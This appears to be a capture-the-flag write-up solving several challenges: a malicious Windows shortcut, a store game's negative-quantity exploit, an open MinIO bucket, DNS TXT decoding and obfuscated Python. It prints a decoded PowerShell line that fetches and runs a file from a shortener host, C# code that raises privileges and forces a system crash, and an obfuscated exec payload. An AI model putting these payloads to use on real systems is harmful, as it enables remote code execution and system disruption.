        Creation time                   : Feb 16, 2024 21:44:00.915218400 UTC
        Modification time               : Feb 16, 2024 21:44:00.915218400 UTC
        Access time                     : Oct 03, 2024 09:53:00.814243900 UTC
        File size                       : 450560 bytes
        Icon index                      : 0
        Show Window value               : 0x0006e000
        Hot Key value                   : 57344
        File attribute flags            : 0x00000020
                Should be archived (FILE_ATTRIBUTE_ARCHIVE)
        Drive type                      : Fixed (3)
        Drive serial number             : 0x7cea241e
        Volume label                    : 
        Local path                      : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Relative path                   : ..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        Working directory               : C:\Windows\system32
        Command line arguments          : -e aQB3AHIAIABpAHMALgBnAGQALwBqAHcAcgA3AEoARAAgAC0AbwAgACQAZQBuAHYAOgBUAE0AUAAvAC4AYwBtAGQAOwAmACAAJABlAG4AdgA6AFQATQBQAC8ALgBjAG0AZAA=

I then decoded the Command Line Arguments using base64 -d to retrieve the string used. It appears to download a file named jwr7JD using Invoke-WebRequest.

1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ base64 -d sample.txt 
iwr is.gd/jwr7JD -o $env:TMP/.cmd;& $env:TMP/.cmd

I then downloaded the jwr7JD file and ran the sample in Any.Run. After some analysis in Any.Run, I discovered the PowerShell command that was executed from the jwr7JD file.

1
powershell -e JABzAD0AJwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkAOwB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwA7AHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4ASQBPADsAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABYAHsAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAbgB0AGQAbABsAC4AZABsAGwAIgApAF0AcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAAdQBpAG4AdAAgAFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAaQBuAHQAIABwACwAYgBvAG8AbAAgAGUALABiAG8AbwBsACAAYwAsAG8AdQB0ACAAYgBvAG8AbAAgAG8AKQA7AFsARABsAGwASQBtAHAAbwByAHQAKAAiAG4AdABkAGwAbAAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAHUAaQBuAHQAIABOAHQAUgBhAGkAcwBlAEgAYQByAGQARQByAHIAbwByACgAdQBpAG4AdAAgAGUALAB1AGkAbgB0ACAAbgAsAHUAaQBuAHQAIAB1ACwASQBuAHQAUAB0AHIAIABwACwAdQBpAG4AdAAgAHYALABvAHUAdAAgAHUAaQBuAHQAIAByACkAOwBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAdQBuAHMAYQBmAGUAIABzAHQAcgBpAG4AZwAgAFMAaABvAHQAKAApAHsAYgBvAG8AbAAgAG8AOwB1AGkAbgB0ACAAcgA7AFIAdABsAEEAZABqAHUAcwB0AFAAcgBpAHYAaQBsAGUAZwBlACgAMQA5ACwAdAByAHUAZQAsAGYAYQBsAHMAZQAsAG8AdQB0ACAAbwApADsATgB0AFIAYQBpAHMAZQBIAGEAcgBkAEUAcgByAG8AcgAoADAAeABjADAAMAAwADAAMAAyADIALAAwACwAMAAsAEkAbgB0AFAAdAByAC4AWgBlAHIAbwAsADYALABvAHUAdAAgAHIAKQA7AGIAeQB0AGUAWwBdAGMAPQBDAG8AbgB2AGUAcgB0AC4ARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAUgBOAG8AOABUAFoANQA2AFIAdgArAEUAeQBaAFcANwAzAE4AbwBjAEYATwBJAGkATgBGAGYATAA0ADUAdABYAHcAMgA0AFUAbwBnAEcAZABIAGsAcwB3AGUAYQAvAFcAaABuAE4AaABDAE4AdwBqAFEAbgAxAGEAVwBqAGYAdwAiACkAOwBiAHkAdABlAFsAXQBrAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiAC8AYQAxAFkAKwBmAHMAcABxAC8ATgB3AGwAYwBQAHcAcABhAFQAMwBpAHIAWQAyAGgAYwBFAHkAdABrAHQAdQBIADcATABzAFkAKwBOAGwATABlAHcAPQAiACkAOwBiAHkAdABlAFsAXQBpAD0AQwBvAG4AdgBlAHIAdAAuAEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAiADkAcwBYAEcAbQBLADQAcQA5AEwAZABZAEYAZABPAHAANABUAFMAcwBRAHcAPQA9ACIAKQA7AHUAcwBpAG4AZwAoAEEAZQBzACAAYQA9AEEAZQBzAC4AQwByAGUAYQB0AGUAKAApACkAewBhAC4ASwBlAHkAPQBrADsAYQAuAEkAVgA9AGkAOwBJAEMAcgB5AHAAdABvAFQAcgBhAG4AcwBmAG8AcgBtACAAZAA9AGEALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoAGEALgBLAGUAeQAsAGEALgBJAFYAKQA7AHUAcwBpAG4AZwAoAHYAYQByACAAbQA9AG4AZQB3ACAATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKABjACkAKQB1AHMAaQBuAGcAKAB2AGEAcgAgAHkAPQBuAGUAdwAgAEMAcgB5AHAAdABvAFMAdAByAGUAYQBtACgAbQAsAGQALABDAHIAeQBwAHQAbwBTAHQAcgBlAGEAbQBNAG8AZABlAC4AUgBlAGEAZAApACkAdQBzAGkAbgBnACgAdgBhAHIAIABzAD0AbgBlAHcAIABTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAHkAKQApAHsAcgBlAHQAdQByAG4AIABzAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsAfQB9AH0AfQAnADsAJABjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AQwBvAGQAZQBEAG8AbQAuAEMAbwBtAHAAaQBsAGUAcgAuAEMAbwBtAHAAaQBsAGUAcgBQAGEAcgBhAG0AZQB0AGUAcgBzADsAJABjAC4AQwBvAG0AcABpAGwAZQByAE8AcAB0AGkAbwBuAHMAPQAnAC8AdQBuAHMAYQBmAGUAJwA7ACQAYQA9AEEAZABkAC0AVAB5AHAAZQAgAC0AVAB5AHAAZQBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJABzACAALQBMAGEAbgBnAHUAYQBnAGUAIABDAFMAaABhAHIAcAAgAC0AUABhAHMAcwBUAGgAcgB1ACAALQBDAG8AbQBwAGkAbABlAHIAUABhAHIAYQBtAGUAdABlAHIAcwAgACQAYwA7AGkAZgAoACgARwBlAHQALQBSAGEAbgBkAG8AbQAgAC0ATQBpAG4AIAAxACAALQBNAGEAeAAgADcAKQAgAC0AZQBxACAAMQApAHsAWwBYAF0AOgA6AFMAaABvAHQAKAApAH0AUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIA

I once again decoded the Base64 string:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$s='using System;using System.Text;
using System.Security.Cryptography;
using System.Runtime.InteropServices;
using System.IO;

    public class X{[DllImport("ntdll.dll")]
    public static extern uint RtlAdjustPrivilege(int p,bool e,bool c,out bool o);

        [DllImport("ntdll.dll")]public static extern uint NtRaiseHardError(uint e,uint n,uint u,IntPtr p,uint v,out uint r);

        public static unsafe string Shot(){bool o;
        uint r;
        RtlAdjustPrivilege(19,true,false,out o);
        NtRaiseHardError(0xc0000022,0,0,IntPtr.Zero,6,out r);
        byte[]c=Convert.FromBase64String("RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw");
        byte[]k=Convert.FromBase64String("/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew=");
        byte[]i=Convert.FromBase64String("9sXGmK4q9LdYFdOp4TSsQw==");
        using(Aes a=Aes.Create()){a.Key=k;a.IV=i;ICryptoTransform d=a.CreateDecryptor(a.Key,a.IV);
            using(var m=new MemoryStream(c))using(var y=new CryptoStream(m,d,CryptoStreamMode.Read))using(var s=new StreamReader(y)){return s.ReadToEnd();}}}}';

                $c=New-Object System.CodeDom.Compiler.CompilerParameters;
                $c.CompilerOptions='/unsafe';
                $a=Add-Type -TypeDefinition $s -Language CSharp -PassThru -CompilerParameters $c;
                    if((Get-Random -Min 1 -Max 7) -eq 1){[X]::Shot()}Start-Process "powershell.exe"

I created a Python script to decode the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import base64
from Crypto.Cipher import AES

# Base64-encoded strings from the script
encrypted_data_b64 = "RNo8TZ56Rv+EyZW73NocFOIiNFfL45tXw24UogGdHkswea/WhnNhCNwjQn1aWjfw"
key_b64 = "/a1Y+fspq/NwlcPwpaT3irY2hcEytktuH7LsY+NlLew="
iv_b64 = "9sXGmK4q9LdYFdOp4TSsQw=="

# Decode Base64 strings
encrypted_data = base64.b64decode(encrypted_data_b64)
key = base64.b64decode(key_b64)
iv = base64.b64decode(iv_b64)

# Create AES cipher object
cipher = AES.new(key, AES.MODE_CBC, iv)

# Decrypt the data
decrypted_data = cipher.decrypt(encrypted_data)

# Convert decrypted data to string (removing potential padding)
try:
    decrypted_string = decrypted_data.decode('utf-8').rstrip('\x00')
except Exception as e:
    decrypted_string = str(e)

print(decrypted_string)

Flag: flag{4e4f266d44717ff3af8bd92d292b79ec}

Whamazon

Author: @JohnHammond

Category: Warmups

Wham! Bam! Amazon is entering the hacking business! Can you buy a flag?

1
2
3
4
5
6
7
The 'Video Games' item costs 30 dollars.
How many of the 'Video Games' items would you like ?
> -100000000
Crunching the numbers...
  30 dollars x -100000000 = -3000000000 subtracted from your wallet!

!! You have: 3000000350 dollars in your wallet !!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
1. Apples
 2. Oranges
 3. Video Games
 4. Game Console
 5. Television
 6. House
 7. The Flag
 8. "Nothing, I want to leave"
> 7

The 'The Flag' item costs 1000000000 dollars.
How many of the 'The Flag' items would you like ?
> 1
Crunching the numbers...
  1000000000 dollars x 1 = 1000000000 subtracted from your wallet!

Wait a second Whammy... you wanna buy THE FLAG???
This is our most valued item! I won't give it up without an intense game of 
ROCK PAPER SCISSORS!

You know how to play, right? A player can pick just one of three choices!
... Rock beats Paper
... Paper beats Scissors
... Scissors beats Rock
Let's play! First, here are some jedi-mind game tricks to throw you off...
"I, your opponent, will NOT choose Rock!!"
?? What is your choice ??
 1. Rock
 2. Paper
 3. Scissors
 4. "Nevermind, I don't wanna play"
> 2

After a few rounds I won and retrived the flag.

Flag: flag{18bdd83cee5690321bb14c70465d3408}

Malibu

Author: Truman Kain

Category: Miscellaneous

What do you bring to the beach?

First, I had to figure out what the challenge was about. If you simply ran the nc command when the container was initialized, it would fail due to a broken request (which was part of the challenge). By performing a proper GET request, I discovered that it was a MinIO server, indicating that it uses ‘bucket’ technology.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~]
└─$ echo -e "GET / HTTP/1.1\r\nHost: challenge.ctf.games\r\n\r\n" | nc challenge.ctf.games 31589

HTTP/1.1 403 Forbidden
Accept-Ranges: bytes
Content-Length: 254
Content-Type: application/xml
Server: MinIO
Strict-Transport-Security: max-age=31536000; includeSubDomains
Vary: Origin
Vary: Accept-Encoding
X-Amz-Id-2: dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8
X-Amz-Request-Id: 17FB5711ECD820FC
X-Content-Type-Options: nosniff
X-Ratelimit-Limit: 59
X-Ratelimit-Remaining: 59
X-Xss-Protection: 1; mode=block
Date: Fri, 04 Oct 2024 19:36:56 GMT

<?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied.</Message><Resource>/</Resource><RequestId>17FB5711ECD820FC</RequestId><HostId>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8</HostId></Error>

From the description, I assumed that the bucket was the endpoint for the container:

http://challenge.ctf.games:31589/bucket/

This endpoint provided all the information about the different files located in the bucket. I downloaded the site using wget and converted it to JSON format to make it easier to read.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
{
    "ListBucketResult": {
        "@xmlns": "http://s3.amazonaws.com/doc/2006-03-01/", 
        "Name": "bucket", 
        "Prefix": null, 
        "Marker": null, 
        "MaxKeys": "1000", 
        "IsTruncated": "false", 
        "Contents": [
            {
                "Key": "1XkvjQx0/DAL1nawF/bp72rWyz/0Y8aaxxk/eiOEC2XQo2VECCR4", 
                "LastModified": "2024-10-18T21:43:08.704Z", 
                "ETag": "\"28aeb48085f75c02f0c39a46700bac45\"", 
                "Size": "2656", 
                "Owner": {
                    "ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4", 
                    "DisplayName": "minio"
                }, 
                "StorageClass": "STANDARD"
            }, 
            {
                "Key": "1XkvjQx0/DAL1nawF/bp72rWyz/AhTy3Fl4Ssswq4G9", 
                "LastModified": "2024-10-18T21:43:10.405Z", 
                "ETag": "\"ea48bd41089570676fcbe78155c5c486\"", 
                "Size": "1657", 
                "Owner": {
                    "ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4", 
                    "DisplayName": "minio"
                }, 
                "StorageClass": "STANDARD"
            }, 
            {
                "Key": "2MWou4l3/wcTX21m5/pkWhmuJa/8r5l4AKvjRR8pkgG", 
                "LastModified": "2024-10-18T21:42:01.404Z", 
                "ETag": "\"83a2b4ff9a8e1c2168fb920807c8c9d3\"", 
                "Size": "2058", 
                "Owner": {
                    "ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4", 
                    "DisplayName": "minio"
                }, 
                "StorageClass": "STANDARD"
            }, 

Afterward, I used this script to download all the files from the bucket:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import json
import os

# Load your JSON data (replace 'keys.json' with your actual json file path)
with open('keys.json', 'r') as f:
    data = json.load(f)

# Base URL for the MinIO server
base_url = "http://challenge.ctf.games:31589/bucket"
download_dir = "downloads"  # Directory to store downloaded files

# Ensure the download directory exists
if not os.path.exists(download_dir):
    os.makedirs(download_dir)

# Access the 'Contents' list from the JSON structure
items = data['ListBucketResult']['Contents']

# Iterate over each item in the 'Contents' list and download it
for item in items:
    key = item['Key']
    print(f"Downloading {key}...")

    try:
        # Generate a URL-encoded version of the key for the HTTP request
        file_url = f"{base_url}/{key}"

        # Generate a safe file name by replacing slashes with underscores
        file_name = os.path.join(download_dir, key.replace("/", "_"))

        # Perform the HTTP GET request to download the file
        response = requests.get(file_url)

        # Raise an error if the download fails
        response.raise_for_status()

        # Save the content to a file
        with open(file_name, 'wb') as f:
            f.write(response.content)

        print(f"Downloaded {key} to {file_name}")

    except Exception as e:
        print(f"Error downloading {key}: {e}")

I then went for a Hail Mary and used grep to search for the flag! :D

1
2
3
┌──(kali㉿kali)-[~/huntress/malibu/downloads]
└─$ grep -r flag
b8m7PBqn_znmFoww1_YtBbfl0vvTPQQMSW:aAADHPIjQTolgjYoZYxUqi6Sz50wTrYcjBII390CPrJnyFYQBSHgS6xtSKtHUJ0cKfzpLZXDjnG5bd5KsGzuCD2VZdeEHlQsyR35YEIQw0yuortB9Swtc11l3kADAZ1CcNkuHGXBjCvGqrVefvnd33jFrZ0RolyI5Q6HcrQHXrb0YcRZbMm7FbdMfKmG2wcyGEd6liZVRmoNHN5zoNheMpKMLCsnVUO7hI7lqNS6rP9DVY4maDkdsa5hHYCaMEVfaEnOTHsiCIu4UuUw4YMSAdNEA2tRiHxfie3wGZ1RjYQCPlCD3Wn2AKee82I5R9LaBRKxwOBwl2D4xMrWTuri46YH5EKiWEtPjrwWhfMyJuxor54YBsVVg37Tvea9DSJFaab3xjdc0Awtthn46Icu9KxOVZrwoofnU9Hm7Gt4Vk5gwhQWq2huEXSRjUdRm9Lg9klWYdlxWtwJpNt0hKIDDtqEIVwqDU2RDW6D6KXAiSbBRywjHhnfXRxIga5yaWrESNTdKgVdeb3287MVUezol1JMhdUxz2f8BQkURinsogxk3E07QZmHAy2SrbKLt2FrFIPZ8onXHTvoN7Bk85NY0CHMrfjVNvPbQ5cVSbRPHJU6xgS0V17ZOEpJwAnI9zuoBZhJ2neopUK5YqBQfkIycYj93Pfov2Vj7W3XaX8IgaRiJj3ipQZtVuXdZoa7ncGACLOpZhOWkMXSRsdO51WySkhcalwsGQyoAV3srhPSleMhBQF0KgTL5SIB0YoaKrMpEuupyDvvR3QK49cS3jnyTxDMADriGjFlGpBNWJ9Ug6hL2z2csj6tPs3qqjj6XIm5HDmGyqO2SwlerJWxwHF91WJmLQ7bteORkkuTRjfb9Sf8VTKcJqW9ldrLfjmH6T4nFOlbjYwFplTyYmVA6TnFz5FwZs9XiRCIDmTZLOaRVQWiKflag{800e6603e86fe0a68875d3335e0daf81}iSr6rvpfbvwN992kFqmJWc0TQz4M5EYmLcPjLU8GByJJgelbIECdG7JnrDb7ure2R0MjWorJsQWp53jlwtqnUuedYv2TZA0HpIISGL7rPL7b8c78aDia2g9aGnqOnRncy1dy7L2ryrnJhLgZMABhqbrwj5VbzAWoplKnbET48dlKkLDOTTOxYhaDbHdXAD1zcFZlbTfSayEClbnsOkoHuVKiFppvwcvVpv5KImGtwP1mcAgmPYrPkUo5uQgKJe0hVFpC4RmuESGH70BkXQwUAUEc6gjZlXwR0RnxGzZdgvqYSt1NTcM8cGx62RGyTBeLqMbF2lRO1EQBaQJ5mWouSPFZHokiJkq7uckpUbnsBvGMqvGEOnOaldq2qBbpCCKB1WK3dxO5o43FlDzhnx8zKv1bH8BfBdkSQ12BcqszDhVMuqd6B1VBrU6hIy9EMqDBzydPsciiphIoYW444OVfFiANyskqSdnfKsdwk5AWUpUppwkt58wVuUVxvYXVtXhrJHr1rKU6EHgM8pV2sGQcFaiIfHSS2FQiS04kDWALES2T7rB76L6d54PDqMR8IISJtDuCzSSYUDJWgb9lIYPzYQuZ1chPaRP70vG0ems1xz2vCZpwDmpsTEPGjIEEBrD8w2nSEScUFVTimCJGMwKvCmPf12I0SzqYAQIT83yNSTcJqjMAOjipNzDyF4p664g0Tc7Ue8SnpZpu3cralPEnCKAl5IPXstZcs0q5hJTT6iZIAPOL1yTwEQ33VJ55pEI7kcgICHxleRNt0QQG9MCySJtR50FcoxP6erPzGguPwW951kPyTGIQJyHymdYYAf9i7DpnPGAttg6vcVFOcThD8a3cuwK0nqyICkIlwz5VE883AIWeeMGWEShQHUoIrv5df3ka0hYAAGLCVArKwA4

Flag: flag{800e6603e86fe0a68875d3335e0daf81}

TXT Message

Author @JohnHammond

Category: Warmups

Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd…

A TXT lookup on the domain reveals the following in the TXT record:

1
146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175

The numbers represent an ASCII sequence of the octal values of the symbols. When you convert them all, you obtain the flag.

Flag: flag{14e072f705d45882401d141c562fdc0b}

Unbelievable

Author @JohnHammond

Category: Warmups

Don’t believe everything you see on the Internet! Anyway, have you heard this intro soundtrack from Half-Life 3?

1
2
3
┌──(kali㉿kali)-[~/Downloads]
└─$ file Half-Life_3_OST.mp3 
Half-Life_3_OST.mp3: PNG image data, 800 x 200, 8-bit/color RGB, non-interlaced

Rename it using the command: mv Half-Life_3_OST.mp3 Half-Life_3_OST.png.

After renaming, open the picture, and the flag is displayed.

Flag: flag{a85466991f0a8dc3d9837a5c32fa0c91}

Discount Programming Devices

Author: @sudo_Rem

Category: Malware

I used a tool on the internet to obfuscate my script! But I lost it, and I don’t know how to get it back. Maybe you can help?

We are given a file named oops.py, which contains the following code:

1
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==gP54lIP4///+M/1+GMvNce/fWcVLH/MInNnz3h23iJeQkC6MKwEMMnp7Be7eNbVOK+HAqgHAvKs2ZQCIdwiGMoyFlmRZY3D9myD9RsxDdcXHVY7KBHsx5vQySZbN6k/aOdLYcll9Y1ylgMhIcOHvxOHtpJHCFnycqVBi7RdrOV28RuwNLHdOvfik1LfphPAQPtQX06GvY1E4opz8haLDIS8aY5Y/1H0VsprNhdPWlkQ+0a5fSSTdL62zidNlzFLPylO8NaDvxS16+3YOnAfdnXVfZmcxnX2SaFBcxXljsXcnL3Xkz1+PdsPqDV8agbiwk4AHawNYtdfUOqYNmcq5UI4bWA+v/8iXO9FHe2q8jo6ev/SpNXxf5K8NqSW0S2Ome080y4i0D/SnMVqUv7VAbusmOjycRH7d1vK1Xww7trN3YmGjVRDaVM1Wos88jZNlQq0cb8E9bUGVem3/cN3LU8B00xLGogRHNy/U5dWeOp+oo4ZEORSCsRwcsDXp/z2j6hQQZk2XuVeBDSMGTkIehhV/e9Q3epFnVWCHb7R3MUcv54kxeni8M8FcbWWQLPiogpVyvPWOnuZblrgsjCuLTJjSuTSUqo1RrcON3NfaMZCYr/6UIIv+Chnis+5X5PPiS2Mg+mO92XklpyIkXXunlweQWBqLTcrmxTbXWkBQ972jdwq4qVZHgdkIOEKFTybG3zLjGcVAvwjWJDx3wSf915V/A9j2yvwilazWb0LLD2/MVciG6XjJAzTelzRhqCeHFU+hovH3cG3vPh9WBr8Qsx+1AArJtGyJ3NRpsq2kcYARwACyXSZFBz5qM28fJ1eT8caDPLjA0cV9VotGWW1s5V9zNucji6XLZS15RVDgRF70wr4iTVJ0g9goZ4HrzvWiBllUsIa3vtxXxQIMJ/2a3BSPPALDdmQ2p/CnvFTEfVNkyN8K1Ct+ekC7ZSroVyHRbR6R53CXRyiPqcbpPYLwG7vXcguZ1RZjOqO6zypj+FnFT+hZ0He7VqEdNaDX2Aybjk5HcE7YlItp5z+az5wlVmj2pBQtUY/HnduQuYRZeETv26LBkMgNM0HgDIzzp32nC5RglqR5KlJU+JfbLl19qyH57fu09WwhEWKDJHJh8Z297Z9AMGHFicnh8XF1S70VnPP5QkH+3E7Wj3sQC6WZp6xhf25GTzM0yLB49vx1Aerec+LVphO+nV56jncQOlyyRWQkWnJgvx3hD27n+Z1zW12KRILUgxbTLVyEPJf8+QGX2groetPE+iNc4R9IheY4KHQC0rXsQ+CxjC4JrbgoOLDTovnvWv1cEfm7DnJJR82LFEYLd++XyqWDBbGlfKVAZEnTOj+QG6YEwIthgJGyNuMyKW+DqyX+5AcZgbUudd1l3LhTXD5wL/ShFKX9fUVAUpO7gUz2YRUmsaLRwvU2lc3iTqjwEPA3YlxrUUZC4FReqSZV+fc5yOOnU5rYqlDaCM63c+sVtiYSc0rpIEv2CIwp5j38CE6Ztzhhg1bBoRaV3TWzNLpwGFI792ntWXZGHssJAq3qFs1cMe9suBgVtLHDwHI7A3PRt4rBnUTMCIP9OjgQMtk+LJ4aASFxnehHZisnmLikBxaZ8haJ78Nmc2Z7Pq9TIAYt9XeGuBO45ch8aSYkVXGPGAQF+5Kj18vKoI6VVYoSBgZg7H1hbtN75oDs9ddThNHNMU8/AZJZaZmFDSDmXduC1OGmynagT3in+1k/stCgjOqg7UMEPspQejIhe/PCsl38kxaqMq4IcgatWvo6Cmb2ya2VAM80Yc5shLejZc5LA7I9BpBo0fiybIPUBud0I1wEf842SSZTVmsAOKggNamtLRcTjw0tzL07Y+qQIJ7HUx43i98WPZBp9aQ95so3aA/9cnWd3/o8zSVWk9GYBE3UTlaasTz3tIXrdhjioVIOeZpnJrad4w9ucWcSTyLZkR2i+gPkTuZ3NByuQ+0tNWy+hZk54DFO3HN8oWKeFBrMOqgtevNkcsTb+fDVIVCDJ9i1Rp3yoVyL6rIOGmKzbQLGZH3EL8qvVMldUM4PQZ8Ju/0v9yt2bd1VAaS1blPZf/uAEdRLWv9cvGHLpwNrUxy4yVsWd8crvRxpsjHLqZKtLasXy/KIvwN+noEBdTnOeDYto/T55qpTpDNA1Cbbmpjq/N5Rc8YJ7shmQoG8j79bjxLrodOdr2Hnm9WUJAk/F8ODJ8ZjxkYK/nceiATNRr4oNQi/K+L2zZ5dRy7OKnVMvRiDvgGUuU1OIndlSqGn0EfxphEVp8dXSkQZbtdmPjy8CcSCB8anU4wIntYWYpuXcoQzhl/sdePN4Rz2I5EHJkvDtcjOkOcgQKYwfNBMB45jbRpgzh/EuhUK74Gn4RUg2JCQu3Gzes6t/IakbyvdDmDXjXqmbPURR8baGNRPBymSosVjVq8xvj7Ma/VgxFx0JWXrGrqR5sQahStYvPLRbTnSxG/gBQtwHuviVgVJO6qyhkLdWmF+gvfdc1PBY4Y/12J4H6U2qxdpsESMY97Ch3zpDKsdVVdMXGkv9E7+d+mqqEGbm/zQZm9zmrxFgVPLrsR4WoUQG3eiFHBkcUzwjUBuxTKcw+AFW75rgY9d2nsoDh1wwVAp1tpral6PHwLcLvtc6zrR2wMH1jhAqFIkCjdnsWWJACiOfF8wZlhzQ0RYLIRKr19RptpJwuMlWHyVacue5i6IbeclG2FtB0IOixLtPwTNWSPyT32ePyQKbXxsb8f3VGSM6tvziBwT/8jAq7xOybhqOmFBkOZmegpUR/JS4ktMdb9gQ0F1Hxjta4jhSAw8KfrTA8HERFop1AYnMCfYiVPod8Z3926wjQeVLuJssljQdfz7sJ/9noT09yAY+/EobsTiIBaIcS1o33m6AMrnvsO6cxw4C1y6a0aMCOgpYfHOW6EkDX2BXaiPG6ea+Rrih0nYTvZSoWhm1MelaELQnfbEtsDsbcVJifEWbKuXpHhjAvXnHPrT8V9BaC8L7VkVlCPbJUvFh2YhiSEkWOkq9xCX995VtqVu8mnhBh3Z+k8VzWeGKVOAvVvDi8ZsvVpQd8TBab0fh9EIJge+GWE4xDDvgiEEWrQxlU2Lr0ywAcMcm6/kgGf0EXLXyPyGQdxLqfRg6k2i4e8oOn14jw+z6EZM450mNUOkaeu5sS/UizM2esu6hozgL9FyG0UtHZ4bHr9rUFz4QsIfrJOGLCSuBNpLoYLrrTK4ZgvIRXDcAzS7pC+iYFDym8cL1kyEf0xyG9xkU73LRrwg3G3Bv78yAHgUO5Sj2ywv1AmcDDuWKhKthjPO2n7uk50fnPp1i+H4dpwuyfZifJBUKEn88wq2l9R/pWudluASW3gA/1TPaR3eAFRVn/1sZBUQk1BOJ1ZRKpZCcOFx4uapAbem8Ny5sC9ZfNn2lrkIXSVaLF6r8yMygk/xthvalY08iqqZE9JJrjV9lFRq0BLw9GjJMnAq1CaYynmbp8eUnpXOW6hloHollTUY9Ch5E0TfcMbqArxTqyOHsdi7HvMrBB7K8Hfu5MIQPzM5U861/GChGhfF8iLRzZG5iV9HuISlAEnQogawRXWp3yzDTYFDK+iK4s1L+/wgZS/izs8gnQSl/bOfXSIXvSVt5rYMeKYOOV9Xg2+0adYfcTyE65SxVenU4MzOQyWZzV+GaOxxLC1ETY6twrKvF0Pe507Mx6jt1U3ML7Uch+LBueLkRcT9s8QqF1HaIbxwZX+scOD7Bu374QH2jdVRHrwQCbmxVAXHNFuCXEYLGSorb0nJuVrowhOLorYQwPtDfyJACiq//SvNbTgALO1D+0PTLa2A507kqx1Pm0BNG3z5DBWu2dNsXCaCGvxTSaLDtetAonB+lR9LiTGu46t+TJ3CubQ/LKVG0ZbAhhEAEZmDA9wJTABWfX/3LJmedCmpXLkX6aajpOfOtFtmlGR69QMEpsygFZHNSAe7cfOboh00aPVxfDNhf4Uw2GezXy38r1pLt9PJ1NtSAABY0jSwX+fa/T77//fe+/y8pKO7pZ0RFdtp73+57szAR2Jr46xwEmGK0Zn9DRSgUxyW7lVwJe'))

To solve this, we just need to reverse the code:

Decode the Base64 string in reverse and then decompress the data afterward.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import base64
import zlib

